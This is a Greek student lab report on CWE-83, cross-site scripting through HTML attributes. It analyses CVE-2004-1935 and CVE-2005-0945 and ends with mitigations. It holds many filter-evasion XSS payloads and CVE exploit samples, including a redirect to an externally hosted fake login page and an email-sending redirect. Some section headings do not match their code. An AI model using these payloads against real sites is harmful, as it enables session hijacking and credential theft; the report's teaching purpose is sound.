

ΑΣΦΑΛΕΙΑ ΣΤΗΝ ΤΕΧΝΟΛΟΓΙΑ ΤΗΣ ΠΛΗΡΟΦΟΡΙΑΣ  
(Εργαστήριο)

## **CWE-83: Improper Neutralization of Script in Attributes in a Web Page**

Σταύρος Παπαντωνάκης  
CSE45227

Τελική Εργασία  
ΑΣΦ03



Τμήμα Μηχανικών Πληροφορικής και Υπολογιστών  
Πανεπιστήμιο Δυτικής Αττικής  
Αθηνά  
11/06/2020

Copyright ©2020 Παπαντώνακης Σταύρος  
Το Παρόν Έργο παρέχεται υπό τους όρους της Άδειας:



## Αναφορά Δημιουργού-Μη Εμπορική Χρήση-Παρόμοια Διανομή 4.0 Διεθνής

Το πλήρες κείμενο αυτής της άδειας είναι διαθέσιμο εδώ:  
<http://creativecommons.org/licenses/by-nc-sa/4.0/>

### Είστε ελεύθερος να:

**Διαμοιραστείτε** – να αντιγράψετε και αναδιανείμετε το υλικό με οποιοδήποτε μέσο και μορφή.

**Προσαρμόσετε** – να αναμείξετε, μετασχηματίσετε και να επεκτείνετε το υλικό.

Ο αδειοδότης δεν μπορεί να σας αφαιρέσει αυτές τις ελευθερίες όσο ακολουθείτε τους όρους της παρούσας άδειας.

### Υπο τους ακόλουθους όρους:



**Αναφορά Δημιουργού** – Θα πρέπει να αναφέρετε τον δημιουργό του έργου, να παρέχετε σύνδεσμο προς αυτή την άδεια, και να υποδείξετε τυχόν αλλαγές. Μπορείτε να το κάνετε με οποιοδήποτε εύλογο μέσο, αλλά όχι με τρόπο που να υπονοεί ότι ο αδειοδότης επικροτεί εσάς ή τη χρήση του έργου από εσάς.



**Μη Εμπορική Χρήση** – Δεν μπορείτε να χρησιμοποιήσετε το υλικό για εμπορικούς σκοπούς.



**Παρόμοια Διανομή** – Αν αναμείξετε, μετασχηματίσετε ή επεκτείνετε το υλικό, θα πρέπει να διανείμετε τις αλλαγές σας υπό την ίδια άδεια με το πρωτότυπο έργο.

**Όχι επιπλέον περιορισμοί** – Δεν μπορείτε να εφαρμόσετε νομικούς όρους ή **τεχνικά μέσα** που να περιορίζουν νομικά τους άλλους να πράξουν σύμφωνα με τις ελευθερίες αυτής της άδειας.

### **Σημειώσεις:**

Δεν χρειάζεται να ακολουθήσετε την άδεια για τμήματα του υλικού που θεωρούνται δημόσια γνώση (public domain) ή όπου η χρήση τους επιτρέπεται εξαιτίας μιας **εξαίρεσης ή περιορισμού**.

Δεν δίνονται εγγυήσεις. Η άδεια ίσως να μη σας δίνει όλα τα δικαιώματα για την επιδιωκόμενη χρήση. Για παράδειγμα, επιπλέον δικαιώματα όπως **δημοσιότητα, ιδιωτικότητα, ή ηθικά δικαιώματα** μπορεί να επιβάλλουν περιορισμούς στη χρήση του υλικού.

---

Το παρόν έργο στοιχειοθετήθηκε σε  $\text{\LaTeX}$ . Ο πηγαίος κώδικας του είναι διαθέσιμος στην παρακάτω τοποθεσία:

<https://github.com/lardianos/Security>

# Περιεχόμενα

1.1	Εισαγωγή . . . . .	5
1.1.1	Περιγραφή της κοινής αδυναμίας . . . . .	5
1.2	Σύνδεση με την Θεματολογία των ασκήσεων . . . . .	6
1.3	Τεχνική περιγραφή και ανάλυση με παραδείγματα . . . . .	6
1.3.1	Τεχνική περιγραφή . . . . .	6
1.3.2	Παραδείγματα . . . . .	7
1.3.3	Ενναλλακτική σύνταξη XSS . . . . .	7
1.3.4	Χρήση XSS μέσω κωδικοποιημένου URI . . . . .	8
1.3.5	XSS εικόνα χρησιμοποιώντας JavaScript directive . . . . .	8
1.3.6	Χρήση εισαγωγικά και ερωτηματικά . . . . .	8
1.3.7	Χρήση case insensitive γραφής . . . . .	8
1.3.8	Χρήση HTML χαρακτήρων . . . . .	8
1.3.9	Χρήση του χαρακτήρα (‘) . . . . .	8
1.3.10	Λάθος σύνταξη HTML tags . . . . .	9
1.3.11	Λάθος σύνταξη HTML IMG tag . . . . .	9
1.3.12	fromCharCode . . . . .	9
1.3.13	Χρήση του χαρακτήρα (#) στο SRC attribute . . . . .	9
1.3.14	Κενό SRC attribute . . . . .	9
1.3.15	Χρήση tag με παράληψη του SRC attribute . . . . .	10
1.3.16	Χρήση του attribute onerror . . . . .	10
1.3.17	Χρήση του attribute onerror με κωδικοποιημένο script string . . . . .	10
1.3.18	Κωδικοποίηση JavaScript Directive με δεκαδικούς html χαρακτήρες . . . . .	10
1.3.19	Κωδικοποίηση JavaScript Directive με δεκαδικούς html χαρακτήρες χωρίς ερωτηματικά . . . . .	10
1.3.20	Κωδικοποίηση JavaScript Directive με δεκαεξαδικούς html χαρακτήρες . . . . .	11
1.4	Περιστατικά και συνέπειες που σχετίζονται με αυτή την αδυναμία . . . . .	11
1.4.1	Περιστατικά . . . . .	11

---

1.4.2	CVE-2004-1935 . . . . .	11
1.4.3	CVE-2005-0945 . . . . .	14
1.5	Αντιμετώπιση της αδυναμίας . . . . .	16
	Βιβλιογραφία . . . . .	18

## 1.1 Εισαγωγή

### 1.1.1 Περιγραφή της κοινής αδυναμίας

Ο συγκεκριμένος τύπος αδυναμίας περιγράφει την ευπάθεια μερικών ιστοτοπών που επιτρέπουν την εκτέλεση κώδικα JavaScript μέσω των attributes διάφορων html tags όπως τα onmouseover, onload, onerror, style. Το οποίο επιτυγχάνεται λόγω του ότι δεν φιλτράρουν, εξουδετερώνουν την JavaScript ή τα URIs από τα διαφορά επικίνδυνα attributes είτε το κάνουν εσφαλμένα.

Μερικά παραδείγματα από ευπάθειες που έχουν παρατηρηθεί είναι τα παρακάτω

- CVE-2001-0520 Bypass filtering of SCRIPT tags using onload in BODY, href in A, BUTTON, INPUT, and others.
- CVE-2002-1493 guestbook XSS in STYLE or IMG SRC attributes.
- CVE-2002-1965 JavaScript in onerror attribute of IMG tag.
- CVE-2002-1495 XSS in web-based email product via onmouseover event.
- CVE-2002-1681 XSS via script in <P> tag.
- CVE-2004-1935 Onload, onmouseover, and other events in an e-mail attachment.
- CVE-2005-0945 Onmouseover and onload events in img, link, and mail tags.
- CVE-2003-1136 JavaScript in onmouseover attribute in e-mail address or URL.

Εμείς θα αναλύσουμε το CVE-2004-1935 που περιγράφει μια ευπάθεια σε e-mail attachment που σου επιτρέπει να χρησιμοποιήσεις JavaScript μέσω των attributes onload, onmouseover σε διαφορά html tags και το CVE-2005-0945 που περιγράφει μια ευπάθεια του comment section ενός website, που επιτρέπει την προσθήκη κώδικα JavaScript στα attribute onmouseover, onload των html tags img, link και mail.

## 1.2 Σύνδεση με την Θεματολογία των ασκήσεων

Παρατηρούμε ότι οι παραπάνω ευπαθείς χρησιμοποιούν την αδυναμία του συστήματος να φιλτράρει και να εξουδετερώσει την JavaScript που προστίθεται στα διαφορικά section του συστήματος τους από χρήστες. Επιτρέποντας έτσι πιθανών κακόβουλες ενέργειες που μπορεί να προκύψουν και μη ορθή χρήση του συστήματος.

Προσθέτοντας κάποιος χρήστης μια εικόνα στο email attachment όπου στο onload φορτώνει κάποιον JavaScript κακόβουλο κώδικα που ενδεχομένως έχει ανεβάσει σε κάποιων απομακρυσμένο server οπότε αντίστοιχα κάνουμε και στο πρώτο μέρος της τέταρτης εργαστηριακής άσκησης και αποστέλλει το email στο ανυποψίαστο θύμα. Θα έχει ως αποτέλεσμα ανοίγοντας το, ο κακόβουλος κώδικας να εκτελεστεί στον browser του θύματος και να προκαλέσει μη επιθυμητές ενέργειες οπότε η υποκλοπή cookie session ή άλλων δεδομένων του ανυποψίαστου χρήστη.

Η συγκεκριμένοι τύποι ευπαθείας υπόκεινται στην κατηγορία των XSS (Cross Site Scripting) αντίστοιχες με αυτές που εξετάσαμε στην εργαστηριακή άσκηση 4. Παραδείγματος χάριν θα μπορούσε και στις δυο περιπτώσεις να δημιουργηθεί κάτι αντίστοιχο του Samyworm που υλοποιήσαμε στο εργαστήριο.

Στο πρώτο χρησιμοποιώντας μια εικόνα στο attachment ενός email όπου στο attribute onload θα φορτώσει των κακόβουλο κώδικα, ο οποίος θα σταλθεί στα επόμενα θύματα χρησιμοποιώντας τα πιθανόν αποθηκευμένα email του κάθε χριστή. Αντίστοιχα στο δεύτερο θα μπορούσε να αναπαράγετε και να δημοσιεύετε από κάθε χρήστη που βλέπει είτε ένα link είτε μια εικόνα στο comment section της web ιστοσελίδας.

## 1.3 Τεχνική περιγραφή και ανάλυση με παραδείγματα

### 1.3.1 Τεχνική περιγραφή

Ας ξεκινήσουμε να προσεγγίζουμε λίγο ποιο συγκεκριμένα την αδυναμία που αναφέραμε παραπάνω. Αρχικά ένας επιτιθέμενος που εκμεταλλεύεται την συγκεκριμένη ευπάθεια καθώς και όλες όσες υπόκεινται στην κατηγορία των XSS, προσπαθεί να εμφυτεύσει στο αντίστοιχο λογισμικό, συνήθως web εφαρμογή κώδικα ο οποίος θα εκτελεστεί στον

browser του θύματος σαν να ήταν εξαρχής μέρος της όταν έρθει σε επαφή με αυτόν.

Ο επιτιθέμενος με αυτόν τον τρόπο μπορεί να στείλει σε ένα ανυποψίαστο χρήστή το script με τον κακόβουλο κώδικα, ο χρήστης δεν έχει την παραμικρή ιδέα για το ότι ο συγκεκριμένος κώδικας δεν είναι έμπιστος καθώς προέρχεται από μια έμπιστη ιστοσελίδα και έτσι το κακόβουλο script εκτελείται στον browser του χρήστη με αποτέλεσμα να έχει πρόσβαση σε cookies, sessions και άλλες ευαίσθητες πληροφορίες που βρίσκονται στον browser του χρήστη και χρησιμοποιούνται από το συγκεκριμένο site.

#### 1.3.2 Παραδείγματα

Ειδικότερα σε αυτήν την αδυναμία χρησιμοποιούνται εναλλακτικές μέθοδοι εμφύτευσης κώδικα στην ιστοσελίδα χωρίς να χρησιμοποιούνται τα script tags.

```
2  <script>
3
4  </script>
```

#### 1.3.3 Εναλλακτική σύνταξη XSS

Ας δώσουμε μερικά παραδείγματα όπως την χρήση XSS του attribute onload,

```
9
10 <body onload=alert('test1')>
11
```

τα attribute onmouseover

```
12
13 <b onmouseover=alert('Wufff!')>click me!</b>
14
```

Και onerror

```
14
15 
16
```



### 1.3.4 Χρήση XSS μέσω κωδικοποιημένου URI

Ακόμα και αν ένα site κάνει filtering υπάρχει η πιθανότητα να κωδικοποιηθεί σε UTF-8 και να περαστεί στο img tag.

```
19
20 <IMG SRC=j&#X41vascript:alert('test2')>
21
```

Άλλες μέθοδοι υπεκφυγής φιλτραρίσματος είναι

### 1.3.5 XSS εικόνα χρησιμοποιώντας JavaScript directive

```
22
23 <IMG SRC="javascript:alert('XSS');">
24
```

### 1.3.6 Χρήση εισαγωγικά και ερωτηματικά

```
25
26 <IMG SRC=javascript:alert('XSS')>
27
```

### 1.3.7 Χρήση case insensitive γραφής

```
28
29 <IMG SRC=JaVaScRiPt:alert('XSS')>
30
```

### 1.3.8 Χρήση HTML χαρακτήρων

Απαιτούνται οι χαρακτήρες (;) για αυτή την περίπτωση.

```
30
31 <IMG SRC=javascript:alert(&quot;XSS&quot;)>
32
```

### 1.3.9 Χρήση του χαρακτήρα (')

Χρησιμοποιώντας τον χαρακτήρα (') έτσι ώστε να περικλείει το script string σε πολλές περιπτώσεις τα XSS filters δεν τον αναγνωρίζουν.

```
32
33 <IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>
34
```

### 1.3.10 Λάθος σύνταξη HTML tags

```
34
35 \<a onmouseover=alert(document.cookie)"\>xss link\</a\>
36
```

### 1.3.11 Λάθος σύνταξη HTML IMG tag

```
36
37 \<a onmouseover=alert(document.cookie)"\>xss link\</a\>
38
```

### 1.3.12 fromCharCode

Ακόμα και να φιλτράρονται όλη οι χαρακτήρες εισαγωγικών μπορούμε να δημιουργήσουμε οποία συμβολοσειρά επιθυμούμε με αυτήν την συνάρτηση της JavaScript

```
39
40 <IMG ""><SCRIPT>alert("XSS")</SCRIPT>"\>
41
```

### 1.3.13 Χρήση του χαρακτήρα (#) στο SRC attribute

```
41
42 <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
43
```

### 1.3.14 Κενό SRC attribute

```
43
44 <IMG SRC=# onmouseover=alert('xss')">
45
```

#### 1.3.15 Χρήση tag με παράληψη του SRC attribute

```
45  
46 <IMG SRC= onmouseover="alert('xss')">  
47
```

#### 1.3.16 Χρήση του attribute onerror

```
47  
48 <IMG onmouseover="alert('xss')">  
49
```

#### 1.3.17 Χρήση του attribute onerror με κωδικοποιημένο script string

```
49  
50 <IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))"></img>  
51
```

#### 1.3.18 Κωδικοποίηση JavaScript Directive με δεκαδικούς html χαρακτήρες

```
51  
52 <img src=x onerror="&#0000106&#0000097&#0000118&#0000097&#0000115&#  
53 0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000  
54 108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&  
55 #0000083&#0000039&#0000041">
```

#### 1.3.19 Κωδικοποίηση JavaScript Directive με δεκαδικούς html χαρακτήρες χωρίς ερωτηματικά

```
56  
57 <IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&  
58 &#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#39;&#41;>  
59
```

### 1.3.20 Κωδικοποίηση JavaScript Directive με δεκαεξαδικούς html χαρακτήρες

```
61  
62 <IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&  
63 #x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
```

Παρατηρούμε ότι δεν υπάρχει ένας και μοναδικός τρόπος εμφύτευσης κώδικα JavaScript σε μια ιστοσελίδα. Αντίθετος υπάρχει πληθώρα τρόπων και μεθόδων που μπορούν να οδηγήσουν σε ένα σενάριο XSS. Αυτό μας οδηγεί στο συμπέρασμα ότι η δουλειά ενός XSS φίλτρου είναι πολύ δύσκολη και πιθανόν ακατόρθωτοι σε μερικές περιπτώσεις, έχοντας ως συνέπεια την αύξηση της πιθανότητας κάποιο από τα ενδεχόμενα σενάρια να μην ελεγχθεί είτε να ελεγχθεί εσφαλμένα οδηγώντας έτσι την web εφαρμογή σε ένα XSS Attack σενάριο.

## 1.4 Περιστατικά και συνέπειες που σχετίζονται με αυτή την αδυναμία

### 1.4.1 Περιστατικά

Οπός αναφέραμε και στην άρχει υπάρχουν αρκετά περιστατικά που σχετίζονται με την συγκεκριμένη αδυναμία παραπάνω, ας αρχίσουμε λοιπόν να αναλύουμε αυτά που μας φανήκαν ποιο ενδιαφέρον. Το CVE-2004-1935 αναφέρει μια ευπάθεια XSS στο SCT Campus Pipeline οπου επιτρέπει την JavaScript σε tags οπός τα onload, onmouseover, κλπ ως συνημμένα σε email, και το CVE-2005-0945 οπου μιλάει για ευπάθεια XSS στο ACS Blog 1.1.1 οπου επιτρέπει την εισαγωγή JavaScript στο comment section μέσω του onmouseover attribute στα tags link, mail, img.

### 1.4.2 CVE-2004-1935

Αναφορικά το SCT Campus Pipeline ήταν μια διαδικτυακή πλατφόρμα που είχε επιλεχθεί σε πάνω από 175 ιδρύματα. Οπου χρησιμοποιούνταν για την κοινωνικοποίηση και την βελτίωση της απόδοσης των φοιτητών, παρέχοντας τους πρόσβαση σε πληροφορίες, υπηρεσίες και κοινότητες.

Το τμήμα χειρισμού του email αυτού του λογισμικού εμφάνιζε στο εσωτερικό του email ορισμένα συνημμένα οπός html, bmp, jpg, gif, κλπ.

Ενώ όμως έκανε πολύ καλή δουλεία στο φιλτράρισμα των script από τα αχρεία html άφηνε απείραχτά κάποια events όπως το onload(), onmouseover(), onclick(), κλπ.

Οπός καταλαβαίνουμε αυτό είναι τεράστιο πρόβλημα καθώς ο ενδεχόμενος κακόβουλος κώδικας που μπορεί να καλείται από αυτά τα events θα έχει τα ίδια δικαιώματα με τον χρήστη που περιηγείται στο email του, το πράγμα γίνεται ακόμα χειρότερο γιατί η εφαρμογή χρησιμοποιεί συναρτήσεις JavaScript για την υλοποίηση όλων των λειτουργιών που διαθέτει.

Συνεπώς αυτό καθιστούσε δυνατών την εκτέλεση εντολών όπως delete message() στο <body onload="deletemessage()"> με αποτέλεσμα της διαγράψης του email μαζί με τον κώδικα html που έχει επισυναφθεί σε αυτό. Ακόμα αλλάζοντας την σελίδα στον χρήστη με την <body onload="location.replace('site')"> θα μπορούσαμε να εκτελέσουμε τον πιθανόν κακόβουλο κώδικα που θα είχαμε προετοιμάσει ή να εφαρμόσουμε οποιαδήποτε μέθοδο scripting επιθυμούσαμε.

Αυτό το κενό ασφάλειας μπορεί να οδηγήσει σε ένα συνημμένο html που έχει πλήρη έλεγχο του email λογαριασμού των θυμάτων, και εφόσον ο επιτιθέμενος θα είχε ρυθμίσει τα session των χριστών, θα μπορούσε ενδεχομένως να εκτελέσει οποιαδήποτε εντολή μπορούσε να χρησιμοποιήσει ο συγκεκριμένος λογαριασμός, όπως την προβολή βαθμών του φοιτητή κλπ.

Μερικά παραδείγματα που εκμεταλλεύονται την ευπάθεια του συγκεκριμένου site είναι τα παρακάτω.

```
67 <html>
68 <body onload="alert('load')">
69 ;
70 ;
71 </body>
72 </html>
```

Το συγκεκριμένο exploit διαγραφή το ενδεχόμενο μήνυμα.

```
74
75 <html><body onload="deleteMessage()"></body><html>
76
```

Με το παρακάτω exploit δημιουργούμε ένα νέο μήνυμα email με ότι περιεχόμενο θέλουμε

#### 1.4. ΠΕΡΙΣΤΑΤΙΚΑ ΚΑΙ ΣΥΝΕΠΕΙΕΣ ΠΟΥ ΣΧΕΤΙΖΟΝΤΑΙ ΜΕ ΑΥΤΗ ΤΗΝ ΑΔΥΝΑΜΙΑ 13

---

```
78 <html>
79 <body onload="location.replace('http://website.com/cp/email/composeBody?
80 function=new&to=Spiffomatic64@hotmail.com&subject=I \ love you matt&body=I was
81 owned by matt')">
82 </body>
83 </html>
```

Η Δημιουργία ενός ψευδούς session timeout screen με μια login form θα αποτελούσε εξίσου μεγάλο πρόβλημα. Καθώς θα οδηγούσε τους χριστές να πληκτρολογήσουν τα ακαδημαϊκά τους στάχια, πέφτοντας έτσι στην παγίδα του επιτιθέμενου, υποκλέπτοντας τους ευαίσθητες πληροφορίες και ότι άλλο μπορεί να συνεπάγεται με αυτό.

```
85 <html>
86 <body onload="location.replace('http://hackthissite.org/userfiles/spiffomatic64/logoutpage.html')">
87 </body>
88 </html>
```

Η συγκεκριμένη ευπάθεια δημοσιεύτηκε στο CVE Details στις 15-04-2004, marc.info στις 15-04-2004 και ώρα 16:36:50, SecurityFocus 15-04-2004 και ώρα 12:00AM και τέλος στο IBMcloud στις 15-04-2004.

Ο βαθμός σοβαρότητας διαφέρει στα διαφορά sites. Για παράδειγμα στο **IBMcloud** έχει

---

CVSS 1.0 Base Score:	2.8
Access Vector:	Remote
Access Complexity:	High
Authentication:	Not Required
Confidentiality Impact:	None
Integrity Impact:	Partial
Availability Impact:	None

---

Ενώ στο **CVE Details** έχει

---

CVSS Score:	4.3
Confidentiality Impact:	None
Integrity Impact:	Partial
Availability Impact:	None
Access Complexity:	Medium
Authentication:	Not required
Gained Access:	None
Vulnerability Type(s):	Cross Site Scripting
CWE ID:	CWE id is not defined

---

Τέλος σύμφωνα με το CVE Details η συγκεκριμένη ευπάθεια υπήρχε στο λογισμικό Campus Pipeline της Sct Corporation για τις εκδόσεις 1.0, 2.0, 2.1, 2.2, 3.0, 3.1, 3.2

### 1.4.3 CVE-2005-0945

Η συγκεκριμένη ευπάθεια δοκιμαστική στη έκδοσή (V1.1.1) του ACS Blog. Όπως είπαμε και παραπάνω στο comment section του ACS Blog υπήρχε η πιθανότητα εκτέλεσης μιας επίθεσης XSS μέσω των link, mail, img tags, λόγω έλλειψης φιλτραρίσματος στα μονά εισαγωγικά και στα κενά μέσα στα tags.

Εδώ παρατηρούμε ότι ισχύουν πάνω κάτω τα ίδια πράγματα με την προηγούμενη ευπάθεια, δηλαδή κάποιος κακόβουλος χριστής θα μπορούσε να προσθέσει των κακόβουλο κώδικα του στο onload του tag μιας εικόνας και να την προωθήσει στο comment section, με αποτέλεσμα ο κακόβουλος κώδικας να εκτελεστεί σε οποιονδήποτε browser εμφανίσει το εν λόγο comment.

Ας δούμε μερικά παραδείγματα σεναρίων που μπορούν να εμφυτεύσουν εκτελέσιμο κώδικα στο comment section.

```
89
90 [link=http://www.google.com' onmouseover='alert("XSS vulnerability")'
91 o=']Don't you wanna see where this link goes?[/link]
92
```

```
92
93 [mail=bugtrac@securityfocus.com' onmouseover='alert("XSS
94 vulnerability")' o=']Mr. Wiggles[/mail]
95
```

```
95
96 [img]http://www.example.com/image.jpg' onload='alert("XSS
97 vulnerability")' o='[/img]
98
```

```
98
99 [link=http://www.google.com target=_blank'
100 onmouseover=a=/Vulnerability/;alert(a.source) o=']Hooray[/link]
101
```

Η συγκεκριμένη ευπάθεια δημοσιεύτηκε στο CVE Details στις 02-05-2005, marc.info στις 28-03-2005 και ώρα 23:15:34, SecurityFocus 28-03-2005 και ώρα 12:00AM, IBMcloud στις 28-03-2005, και τέλος στο NIST 05-02-2005.

Βαθμός σοβαρότητας στα διαφορά sites.

**NIST**

---

CVSS Base Score:	4.3
Impact Subscore:	2.9
Exploitability Subscore:	8.6
CVSS Temporal Score:	NA
CVSS Environmental Score:	NA
Modified Impact Subscore:	NA
Overall CVSS Score:	4.3

---

**IBMcloud**

---

CVSS 1.0 Base Score:	2.8
Access Vector:	Remote
Access Complexity:	High
Authentication:	Not Required
Confidentiality Impact:	None
Integrity Impact:	Partial
Availability Impact:	None

---

**CVE Details**

---

CVSS Score:	4.3
Confidentiality Impact:	None
Integrity Impact:	Partial
Availability Impact:	None
Access Complexity:	Medium
Authentication:	Not required
Gained Access:	None
Vulnerability Type(s):	Cross Site Scripting
CWE ID:	CWE id is not defined

---

Οι συγκεκριμένες ευπάθειες εάν βρισκόταν σε ποιο διαδεδομένες web εφαρμογές θα μπορούσαν να οδηγήσουν σε ένα worm με πιθανών πολύ μεγαλύτερη ταχύτητα εξαπλώσεις από το Sumy worm λόγω του ότι το CVE-2004-1935 περιγράφει ευπάθεια μέσω email που επιτρέπει στον επιτιθέμενο να τοποθετήσει κακόβουλο κώδικα στο εσωτερικό του email και να το αποστείλει σε μια λίστα χρηστών όπου ανοίγοντας απλά το συγκεκριμένο email θα μολύνονταν.

Αντίστοιχα με το CVE-2005-0945 τα πράγματα θα ήταν ακόμα πιο εύκολα για την μεταδώσει του κακόβουλου κώδικα λόγω του comment



section που είναι προσβάσιμο από όλους τους χριστές και με τι θέαση είτε ενός μολυσμένου link είτε μιας μολυσμένης εικόνας τα αποτελέσματα θα ήταν εξίσου δραματικά.

## 1.5 Αντιμετώπιση της αδυναμίας

Για να αντιμετωπίσουμε αποτελεσματικά τις εν λόγω αδυναμίες θα πρέπει να ελέγξουμε προσεκτικά κάθε παράμετρο εισόδου με πολύ αυστηρές προδιαγραφές, χρησιμοποιώντας για παράδειγμα ένα whitelist που καθορίζει συγκεκριμένους χαρακτήρες και την μορφή που επιτρέπεται. Στην συνέχεια θα πρέπει να εξουδετερώσουμε όλες της εισόδους και όχι μόνο αυτές που υποτίθεται ότι μπορεί να καθορίσει ο χρήστης, συμπεριλαμβανομένων των tag attribute, cookies, headers, hidden fields, URLs και ούτω καθεξής.

Ένα κοινό λάθος που οδηγεί σε ευπάθειες XSS είναι ο έλεγχος μόνο των πεδίων που αναμένεται να εμφανιστούν ξανά από τον ιστότοπο. Συχνά συναντάμε δεδομένα από αιτήματα που αντανακλώνται από τον server της εφαρμογής ή την ιδία την εφαρμογή, που δεν περίμενε η ομάδα ανάπτυξης. Επίσης, ένα πεδίο που δεν εμφανίζεται αυτήν τη στιγμή μπορεί να χρησιμοποιηθεί από έναν άλλο προγραμματιστή μελλοντικά. Επομένως, συνιστάται ο έλεγχος ΟΛΩΝ των τμημάτων του αιτήματος HTTP.

Επίσης προτείνετε χρήση και ο καθορισμός μιας κωδικοποίησης εξόδου που να μπορεί να διαχειριστεί από το downstream component που διαβάζει την έξοδο, πχ. ISO-8859-1, UTF-7, and UTF-8. Όταν δεν υπάρχει μια καθορισμένη κωδικοποίηση το downstream component μπορεί να επιλέξει μια διαφορετική κωδικοποίηση είτε επιλέγοντας μια προεπιλεγμένη είτε κάνοντας υπόθεση για το ποια κωδικοποίηση είναι αυτή που χρησιμοποιείτε, η οποία μπορεί να είναι εσφαλμένη.

Όταν οι κωδικοποιήσεις δεν είναι συνεπώς καθορισμένες το downstream component αντιμετωπίζει ορισμένους χαρακτήρες ή ακολουθίες byte ως ειδικούς, ακόμη και αν δεν είναι ειδικοί στην αρχική κωδικοποίηση. Δημιουργώντας έτσι ένα σημείο όπου μπορεί ένας επιτιθέμενος να το εκμεταλλευτεί και να πραγματοποιήσει μια επίθεση εμφυτεύοντας κώδικα στην αντίστοιχη εφαρμογή. Μπορεί ακόμα και να παράκαμψη μηχανισμούς προστασίας που υποθέτουν ότι η αρχική κωδικοποίηση χρησιμοποιείται επίσης από το downstream component.

Το πρόβλημα των μη συνεπώς καθορισμένων κωδικοποιήσεων εξόδου

προκύπτει συχνά σε ιστοσελίδες. Εάν μια κωδικοποίηση δεν καθορίζεται σε ένα HTTP header, τότε συνήθως τα προγράμματα περιήγησης μαντεύουν για το ποια κωδικοποίηση χρησιμοποιείται. Αυτό ανοίγει της πόρτες των φυλλομετρητών προς subtle XSS επιθέσεις.

Για να μετριάσουμε τις επιθέσεις XSS προς τα user's session cookie, μπορούμε να ρυθμίσουμε τα session cookie που χρησιμοποιούμε σε HttpOnly. Σε προγράμματα περιήγησης που υποστηρίζουν τη δυνατότητα HttpOnly (όπως πιο πρόσφατες εκδόσεις του Internet Explorer και του Firefox), αυτό το χαρακτηριστικό μπορεί να αποτρέψει την πρόσβαση των user's session cookies από κακόβουλα scripts χρησιμοποιούν το document.cookie. Η συγκεκριμένη λύση δεν είναι απολυτή, η πλήρως ολοκληρωμένη καθώς το HttpOnly δεν υποστηρίζετε από όλα τα προγράμματα περιήγησης.

Επίσης σημαντικό είναι το XMLHttpRequest και άλλες ισχυρές browser τεχνολογίες που παρέχουν read access στα HTTP headers, συμπεριλαμβανομένου του Set-Cookie header στο οποίο έχει ρυθμιστεί το HttpOnly flag. Έτσι έχεις ως αποτέλεσμα, άμυνα σε βάθος.

# Βιβλιογραφία

- [1] Improper Neutralization of Script in Attributes in a Web Page. [CWE-83],  
<https://cwe.mitre.org/data/definitions/83.html>
- [2] Cross-site scripting (XSS) vulnerability in SCT Campus Pipeline allows remote attackers to inject arbitrary web script or HTML via onload, onmouseover, and other Javascript events in an e-mail attachment. [CVE-2004-1935],  
<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1935>
- [3] Cross-site scripting (XSS) vulnerability in ACS Blog 1.1.1 allows remote attackers to inject arbitrary web script or HTML via onmouseover or onload events in (1) img, (2) link, or (3) mail tags. [CVE-2005-0945],  
<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0945>
- [4] SCT Campus Pipeline email attachments could allow cross-site scripting. *IBMCloud* [CVE-2004-1935], Apr 15, 2004  
<https://exchange.xforce.ibmcloud.com/vulnerabilities/15878>
- [5] SCT Campus Pipeline Email Attachment Script Injection Vulnerability. *SecurityFocus*, [CVE-2004-1935], Apr 15 2004  
<https://www.securityfocus.com/bid/10154>
- [6] CVSS Scores & Vulnerability Types. *CVE Details*, [CVE-2004-1935], Apr 15 2004  
<https://www.cvedetails.com/cve/CVE-2004-1935/?q=CVE-2004-1935>
- [7] SCT javascript execution vulnerability. *Marc.info*, [CVE-2004-1935],  
<https://marc.info/?l=bugtraq&m=108207280917231&w=2>

- [8] Multiple XSS vulnerabilities in ACS Blog. *Marc.info*, [CVE-2005-0945], Mar 28 2005  
<https://marc.info/?l=bugtraq&m=111214069029812&w=2>
- [9] CVSS Scores & Vulnerability Types . *CVE Details* [CVE-2005-0945], May 2 2005  
<https://www.cvedetails.com/cve/CVE-2005-0945/>
- [10] ACS Blog Name Field HTML Injection Vulnerability. *SecurityFocus*, [CVE-2005-0945], Mar 28 2005  
<https://www.securityfocus.com/bid/12921/info>
- [11] CVE-2005-0945 Detail . *NIST*, [CVE-2005-0945], May 2 2005  
<https://nvd.nist.gov/vuln/detail/CVE-2005-0945>
- [12] ACS Blog link, mail, and img tags cross-site scripting . *IBMCloud*, [CVE-2005-0945], Mar 28 2005  
<https://exchange.xforce.ibmcloud.com/vulnerabilities/19864>
- [13] ACS Blog Input Validation Errors in 'Comments' Tags Let Remote Users Conduct Cross-Site Scripting Attacks . *SecurityTracker*, [CVE-2005-0945], Mar 28 2005  
<https://securitytracker.com/id?1013584>
- [14] Jim Manico, Abdullah Hussam, Michael McCabe, Luke Plant, Randomm, David Shaw, ALange, Matt Tesauro, Adam Caudill, Anandu, DhirajMishra, Ono, Bill Sempf, Dan Wallis, Peter Mosmans, Dominique Righetto. (OWASP) [XSS Filter Evasion Cheat Sheet],  
<https://owasp.org/www-community/xss-filter-evasion-cheatsheet>
- [15] KirstenS, Jim Manico, Jeff Williams, Dave Wichers, Adar Weidman, Roman, Alan Jex, Andrew Smith, Jeff Knutson, Imifos, Erez Yalon. (OWASP) [Cross Site Scripting (XSS)],  
<https://owasp.org/www-community/attacks/xss/>
- [16] OWASP: Types of XSS,  
[https://owasp.org/www-community/Types\\_of\\_Cross-Site\\_Scripting](https://owasp.org/www-community/Types_of_Cross-Site_Scripting)
- [17] OWASP: DOM based XSS Prevention Cheat Sheet,  
[https://cheatsheetseries.owasp.org/cheatsheets/DOM\\_based\\_XSS\\_Prevention\\_Cheat\\_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/DOM_based_XSS_Prevention_Cheat_Sheet.html)
